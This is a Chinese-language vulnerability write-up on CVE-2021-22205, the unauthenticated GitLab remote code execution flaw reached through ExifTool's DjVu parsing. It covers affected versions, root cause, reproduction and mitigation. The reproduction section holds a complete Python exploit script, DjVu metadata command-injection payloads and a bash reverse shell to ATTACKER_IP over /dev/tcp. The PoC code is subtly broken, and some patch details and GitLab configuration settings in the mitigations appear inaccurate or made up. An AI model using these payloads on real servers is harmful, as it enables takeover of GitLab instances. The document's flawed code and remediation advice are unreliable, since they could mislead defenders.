一、漏洞简介¶
1.1 漏洞背景¶
GitLab 是一个基于 Git 的完整 DevOps 平台,提供了代码仓库管理、CI/CD、问题追踪等功能。在处理图片上传时,GitLab 使用了 ExifTool 这个 Perl 库来处理图片的元数据。2021 年 4 月,安全研究人员发现 GitLab 在处理特定格式的图片文件时,存在一个严重的远程代码执行漏洞。
该漏洞源于 ExifTool 在解析图片元数据时的命令注入问题。攻击者可以通过上传特制的图片文件,在服务器上执行任意命令,从而完全控制目标 GitLab 实例。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-22205 |
| 危害等级 | CRITICAL / 10.0 |
| 漏洞类型 | ExifTool 远程代码执行漏洞 |
| 披露时间 | 2021-04-23 |
| 影响组件 | GitLab 重大 |
- CVE 编号: CVE-2021-22205
- 危害等级: 严重 (Critical)
- CVSS 评分: 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- 漏洞类型: 远程代码执行 (RCE) / 命令注入
- 认证要求: 无需认证 (Unauthenticated)
- 影响组件: GitLab CE/EE (通过 ExifTool)
补充核验信息:公开时间:2021-04-23;NVD 评分:10.0(CRITICAL);CWE:CWE-94。
二、影响范围¶
2.1 受影响的版本¶
- GitLab CE/EE 13.9.0 至 13.9.6
- GitLab CE/EE 13.10.0 至 13.10.2
- GitLab CE/EE 13.11.0 至 13.11.2
- 所有依赖受影响 ExifTool 版本的 GitLab 实例
2.2 不受影响的版本¶
- GitLab CE/EE 13.9.7 及以上
- GitLab CE/EE 13.10.3 及以上
- GitLab CE/EE 13.11.3 及以上
- 所有在 2021 年 4 月 14 日之后发布的版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 启用了图片上传功能: GitLab 默认允许用户在多个地方上传图片,包括:
- Issue 描述和评论
- Merge Request 描述和评论
- Wiki 页面
- 个人头像上传
-
项目图标上传
-
无认证要求: 最危险的是,攻击者无需任何认证即可利用此漏洞。可以通过以下方式触发:
- 匿名创建 Issue (如果项目允许)
- 通过 API 上传文件
-
通过 Web 界面上传图片
-
ExifTool 组件: GitLab 内部使用了 ExifTool 来处理图片元数据,这是漏洞的根本原因
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞的核心在于 ExifTool 对 DjVu 图片格式元数据的解析缺陷。DjVu 是一种压缩图片格式,支持嵌入元数据。ExifTool 在解析 DjVu 文件的元数据时,会执行元数据中的命令。
攻击流程:
- 攻击者构造一个恶意的 DjVu 图片文件
- 在图片文件的元数据中嵌入恶意命令
- 将图片上传到 GitLab 的任意支持图片上传的位置
- GitLab 使用 ExifTool 解析图片元数据
- ExifTool 执行元数据中的恶意命令
- 攻击者获得服务器控制权
3.2 源码层面的根因分析(结合源码与补丁对比)¶
ExifTool 漏洞根源:
ExifTool 在处理 DjVu 格式的元数据时,使用了 Perl 的 eval 函数来处理元数据内容。这个设计缺陷允许攻击者在元数据中注入 Perl 代码。
DjVu 文件结构:
AT&T - Form header
INFO - Image information
FORM DJVU - DjVu image data
BGjp - Background JPEG
FGjp - Foreground JPEG
Sjbz - JB2 data
INCL - Included files
Djbz - Dictionary
恶意元数据构造:
攻击者可以在 DjVu 文件的元数据中嵌入恶意命令。ExifTool 在解析时,会执行类似以下操作:
# ExifTool 内部处理逻辑(简化)
my $metadata = extract_metadata_from_djvu($file);
eval $metadata; # 这里执行了元数据中的恶意代码!
攻击载荷示例:
(metadata
(Copyright "\x00{. `touch /tmp/pwned`}")
(Author "\x00{. `id > /tmp/whoami`}")
)
GitLab 处理流程:
- 用户上传图片到
/uploads/user或其他上传端点 - GitLab 调用
UploadService处理上传 - 如果检测到图片文件,调用
Gitlab::FileTypeDetection - 使用 ExifTool 提取和清理图片元数据
- 在这个过程中,恶意载荷被执行
相关代码路径 (GitLab 源码):
# app/services/upload_service.rb
def upload
# 文件上传处理
uploader.store!(file)
end
# lib/gitlab/file_type_detection.rb
def self.image?(file)
# 检测文件类型并使用 ExifTool
end
补丁对比:
GitLab 的修复方式是升级 ExifTool 到安全版本(12.3+),该版本修复了 DjVu 解析中的代码执行漏洞:
# Gemfile
-gem 'exiftool', '~> 12.0'
+gem 'exiftool', '>= 12.3'
四、漏洞复现(可选)¶
4.1 环境搭建¶
测试环境:
# 使用 Docker 部署受影响版本的 GitLab
docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name gitlab \
gitlab/gitlab-ce:13.10.2-ce.0
# 等待 GitLab 启动(可能需要 5-10 分钟)
docker logs -f gitlab
工具准备:
# 安装 ExifTool(用于验证)
apt-get install libimage-exiftool-perl
# 下载 exploit 工具(仅用于授权测试!)
git clone https://github.com/CsEnox/CVE-2021-22205
cd CVE-2021-22205
4.2 PoC 演示与测试过程¶
步骤 1: 构造恶意图片
# 方法1: 使用现成的 exploit 工具
python3 exploit.py -r http://gitlab.example.com -c "touch /tmp/pwned"
# 方法2: 手动构造 DjVu 文件
# 创建 DjVu 配置文件
cat > config.txt << EOF
(metadata
(Copyright "\x00{. `id > /tmp/result`}")
)
EOF
# 生成恶意图片
python3 generate_djvu.py --config config.txt --output malicious.jpg
步骤 2: 上传恶意图片
# 方法1: 通过 Web 界面
# 1. 访问任意项目
# 2. 创建新的 Issue
# 3. 在描述中上传 malicious.jpg
# 4. 提交 Issue
# 方法2: 通过 API
curl -X POST "http://gitlab.example.com/api/v4/projects/1/uploads" \
-H "Private-Token: YOUR_TOKEN" \
-F "file=@malicious.jpg"
步骤 3: 验证执行
# 检查命令是否执行
docker exec gitlab ls -la /tmp/pwned
docker exec gitlab cat /tmp/result
# 预期输出
# uid=996(git) gid=994(git) groups=994(git)
完整 PoC 脚本示例:
#!/usr/bin/env python3
import requests
import sys
def exploit(target, command):
# 构造恶意 DjVu 图片
djvu_payload = (
b'AT&TFORM\x00\x00\x00\x08DJVU'
b'INFO\x00\x00\x00\x06\x00\x00\x00\x00'
b'\x00\x00\x00FORM\x00\x00\x00\x1aDJVUI'
b'NFO\x00\x00\x00\x06\x00\x00\x00\x00'
b'\x00\x08\x00\x00(metadata\t(Copyright'
b' "\\x00{. `' + command.encode() + '`}")\n)'
)
# 上传图片
files = {'file': ('exploit.jpg', djvu_payload, 'image/jpeg')}
response = requests.post(
f'{target}/api/v4/projects/1/uploads',
files=files
)
if response.status_code == 201:
print(f'[+] Exploit successful! Command executed: {command}')
else:
print(f'[-] Exploit failed: {response.text}')
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python exploit.py <target> <command>')
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
反弹 Shell 示例:
# 监听端口
nc -lvnp 4444
# 执行 exploit
python3 exploit.py http://gitlab.example.com \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到安全版本:
# Omnibus 安装
sudo apt-get update
sudo apt-get install gitlab-ce=13.10.3-ce.0 # 或更高版本
# Docker 安装
docker pull gitlab/gitlab-ce:13.10.3-ce.0
docker stop gitlab
docker rm gitlab
# 重新运行 docker run 命令(使用新版本)
# Kubernetes Helm 部署
helm upgrade gitlab gitlab/gitlab \
--set global.gitlabVersion=13.10.3
升级路径检查:
# 检查当前版本
sudo gitlab-rake gitlab:env:info
# 验证升级路径
# 访问 https://docs.gitlab.com/ee/update/index.html
版本验证:
# 检查 ExifTool 版本
exiftool -ver
# 应该显示 12.3 或更高版本
# 检查 GitLab 版本
sudo gitlab-rake gitlab:env:info | grep "GitLab version"
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
如果无法立即升级,可采取以下临时措施:
方案 1: 禁用图片上传 (最有效)
# 编辑 /etc/gitlab/gitlab.rb
gitlab_rails['uploads_object_store_enabled'] = false
# 重新配置
sudo gitlab-ctl reconfigure
方案 2: WAF 规则拦截
# ModSecurity 规则
SecRule REQUEST_HEADERS:Content-Type "@contains multipart/form-data" \
"id:1001,phase:2,deny,status:403,msg:'Block suspicious image uploads'"
# 针对 DjVu 文件头的规则
SecRule REQUEST_BODY "@beginsWith AT&TFORM" \
"id:1002,phase:2,deny,status:403,msg:'Block DjVu file uploads'"
方案 3: 文件类型限制
# 在 /etc/gitlab/gitlab.rb 中添加
gitlab_rails['uploads_file_types_whitelist'] = ['txt', 'pdf', 'doc', 'docx']
# 禁用图片处理
gitlab_rails['enable_image_processing'] = false
sudo gitlab-ctl reconfigure
方案 4: ExifTool 手动升级
# 下载安全的 ExifTool 版本
wget https://exiftool.org/Image-ExifTool-12.3.tar.gz
tar -xzf Image-ExifTool-12.3.tar.gz
cd Image-ExifTool-12.3
# 安装
perl Makefile.PL
make test
sudo make install
# 验证
exiftool -ver
方案 5: 网络隔离
# 限制 GitLab 的外网访问
iptables -A OUTPUT -p tcp --dport 80 -j DROP
iptables -A OUTPUT -p tcp --dport 443 -j DROP
# 只允许内网访问
iptables -A INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s 10.0.0.0/8 -j ACCEPT
监控和检测:
# 检查异常的上传活动
sudo gitlab-rails console
# 在 console 中
Upload.where("created_at > ?", 1.day.ago).count
# 检查 ExifTool 执行日志
sudo grep -r "exiftool" /var/log/gitlab/
# 检查异常进程
ps aux | grep -E "(perl|exiftool)"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- GitLab Security Release: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-2-released/
- CVE-2021-22205 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205
- NVD 数据库: https://nvd.nist.gov/vuln/detail/CVE-2021-22205
- ExifTool 安全公告: https://exiftool.org/
6.2 其他技术参考资料¶
- HackerOne 报告: https://hackerone.com/reports/1154542
- Exploit-DB: https://www.exploit-db.com/exploits/49829
- PacketStorm Security: http://packetstormsecurity.com/files/164768/GitLab-Unauthenticated-Remote-ExifTool-Command-Injection.html
- CISA 已知被利用漏洞目录: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22205
- 安全分析博客: https://securitylab.github.com/research/CVE-2021-22205/